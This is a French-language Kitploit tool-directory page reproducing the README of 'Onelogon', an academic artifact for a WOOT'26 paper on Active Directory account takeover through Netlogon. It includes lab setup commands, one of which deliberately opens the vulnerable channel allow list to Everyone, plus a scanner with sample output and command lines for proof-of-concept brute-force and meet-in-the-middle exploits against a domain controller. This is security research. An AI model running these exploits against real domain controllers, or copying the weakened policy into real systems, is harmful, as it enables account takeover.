Skip to content
KitploitKITPLOIT
OutilsBlog
Log in
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

FluxContactConfidentialité© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
onelogon — Code et données pour notre article « Onelogon : prise de contrôle de comptes Active Directory via Netlogon » (WOOT’26). | Kitploit
Outils/GitHubGitHub/rub-softsec/onelogon
Scanners de VulnérabilitésAnalyse des VulnérabilitésExploitationSécurité RéseauTests d'IntrusionAuthentificationArticles et Recherche
GitHubrub-softsec/onelogon

onelogon

Code et données pour notre article « Onelogon : prise de contrôle de comptes Active Directory via Netlogon » (WOOT’26).

Voir le dépôt
1182112il y a 29 joursVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Onelogon : Prendre le contrôle de comptes Active Directory via Netlogon

Ce dépôt contient le code et les données accompagnant notre article Onelogon : Prendre le contrôle de comptes Active Directory via Netlogon (WOOT'26).

  1. Contexte
  2. Comment citer
  3. Structure et installation de l'artefact
  4. Mise en place d'un environnement de test
  5. Recherche de configurations vulnérables
  6. Exploitation
  7. Reproduction des mesures

Contexte

La vulnérabilité décrite dans notre article attaque une faiblesse du correctif cryptographique de 2020 pour la vulnérabilité Zerologon. Les comptes listés dans une stratégie de groupe destinée à permettre la prise en charge de configurations héritées qui ne prennent pas en charge la signature et le scellement Netlogon sont vulnérables à cette attaque. Une description détaillée de la vulnérabilité, de la chaîne d'attaque complète attendue et des mesures d'atténuation possibles se trouve dans l'article.

Comment citer

@inproceedings{woot2026-onelogon,
  title     = {{Onelogon: Taking over Active Directory Accounts via Netlogon}},
  author    = {Neff, Alexander and Holl, Tobias and Borgolte, Kevin},
  booktitle = {Proceedings of the 20th USENIX WOOT Conference on Offensive Technologies},
  date      = {2026-08},
  editor    = {Bianchi, Antonio and Classen, Jiska},
  location  = {Baltimore, MD, USA},
  publisher = {USENIX Association}
}

Structure et installation de l'artefact

L'artefact consiste en un projet Python poetry pour le scanner et les exploits.

Pour exécuter les scripts fournis avec l'artefact, installez Python (3.12 ou ultérieur) ainsi que poetry (instructions) ou uv (instructions). Par souci de simplicité, nous listons les commandes en supposant que vous utilisez poetry ; si vous choisissez d'utiliser uv, remplacez simplement toute mention de poetry par uv.

Toutes les commandes de ce document doivent être exécutées dans le répertoire racine de l'artefact (là où se trouve ce README).

Si vous utilisez poetry, exécutez poetry install pour installer toutes les dépendances.

Mise en place d'un environnement de test

Pour reproduire les résultats de l'article, vous pouvez configurer un contrôleur de domaine en utilisant une version de Windows Server avec Zerologon corrigé (nous avons vérifié l'exploit contre les versions 2019 et 2025).

Pour configurer le contrôleur de domaine sur une nouvelle installation de Windows Server 2025, exécutez les commandes suivantes :

# Mettre à jour le système et renommer l'ordinateur en « DC »
Install-Module -Name PSWindowsUpdate -Force
Install-WindowsUpdate -MicrosoftUpdate -AcceptAll
Rename-Computer -NewName "DC" -Restart

# Configurer le domaine (en tant que « onelogon.local »)
Install-WindowsFeature AD-Domain-Services -IncludeManagementTools
Install-ADDSForest -DomainName "onelogon.local"

# Désactiver l'expiration du mot de passe de l'Administrateur pour garder la VM utilisable
Set-ADUser -Identity "Administrator" -PasswordNeverExpires $true

La vulnérabilité s'applique à tout compte listé dans la DACL de l'objet de stratégie de groupe Domain Controller : Allow vulnerable Netlogon secure channel connections ou dans la clé de registre correspondante :
HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters\VulnerableChannelAllowList

Vous pouvez configurer manuellement ces paramètres sur le contrôleur de domaine (n'oubliez pas d'exécuter gpupdate /force si vous mettez à jour l'entrée GPO), ou exécuter la commande suivante pour ajouter tous les comptes à la DACL dans la clé de registre :

Set-GPRegistryValue -Name "Default Domain Controllers Policy" `
                    -Key "HKLM\SYSTEM\CurrentControlSet\Services\Netlogon\Parameters" `
                    -ValueName "VulnerableChannelAllowList" `
                    -Type String `
                    -Value "O:BAG:BAD:(A;;RC;;;WD)" # Everyone

Recherche de configurations vulnérables

Pour déterminer quels comptes un contrôleur de domaine liste dans sa VulnerableChannelAllowList, nous fournissons un scanner qui analyse la ruche de registre et le partage de volume SYSVOL du contrôleur de domaine. Notez que l'accès au registre pour cette analyse requiert des privilèges d'administrateur de domaine (l'exploit, bien entendu, n'en requiert pas).

# Utiliser le nom d'utilisateur et le mot de passe spécifiés pour analyser le DC cible.
poetry run scan --dc-ip <IP of target DC> --username <username> --password <password>

# Spécifier `--help` pour obtenir des instructions d'utilisation supplémentaires.
poetry run scan --help

Un résultat d'analyse positif (des comptes vulnérables existent sur le contrôleur de domaine) reflètera le descripteur de sécurité contenant les comptes vulnérables (dans le langage de définition des descripteurs de sécurité de Microsoft) :

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[+] Found 1 matching policies in SYSVOL Share.
[+] Found vulnerable channel allow list in policy '{6AC1786C-016F-11D2-945F-00C04fB984F9}':
    'O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)'
[+] Found VulnerableChannelAllowList registry configuration:
    O:BAG:BAD:(A;;RC;;;BA)(A;;RC;;;S-1-5-21-1725695585-1077004420-3792776154-1000)

Un résultat négatif (le DC cible n'est pas vulnérable) ressemblera plutôt à ceci :

~$ poetry run scan --dc-ip 192.168.108.244 -u Administrator -p Xb52RLIiL5k2BhMC
[-] No matching policies found in SYSVOL Share.
[-] Error while querying registry: RRP SessionError: code: 0x2 - ERROR_FILE_NOT_FOUND
    - The system cannot find the file specified.

Exploitation

Pour exécuter l'exploit de preuve de concept contre un contrôleur de domaine cible, sélectionnez d'abord un compte vulnérable. Vous aurez besoin de l'adresse IP du contrôleur de domaine, de son nom d'hôte et du nom du compte vulnérable.

Dans notre configuration d'exemple, le contrôleur de domaine vulnérable s'appelle DC. Son compte d'ordinateur (DC$) est inclus dans la stratégie GPO et est donc vulnérable à Onelogon.

# Exécuter l'attaque meet-in-the-middle (section 4.5 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>

# Exécuter la force brute 24 bits avec un compte d'ordinateur (section 4.4 de l'article)
poetry run onelogon --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Exécuter la force brute 32 bits (lente) avec un compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name> \
                    --comp-username <Computer account> --comp-pass <Computer account password>

# Exécuter la force brute 32 bits (très lente) sans compte d'ordinateur
poetry run onelogon --naive --dc-ip <IP of target DC> --dc-name <Name of target DC> \
                    --username <Target account name>
Sortie d'un exploit réussi

À titre d'illustration, nous fournissons la sortie d'une exécution réussie de l'attaque meet-in-the-middle contre un environnement de test :

Télécharger l’outil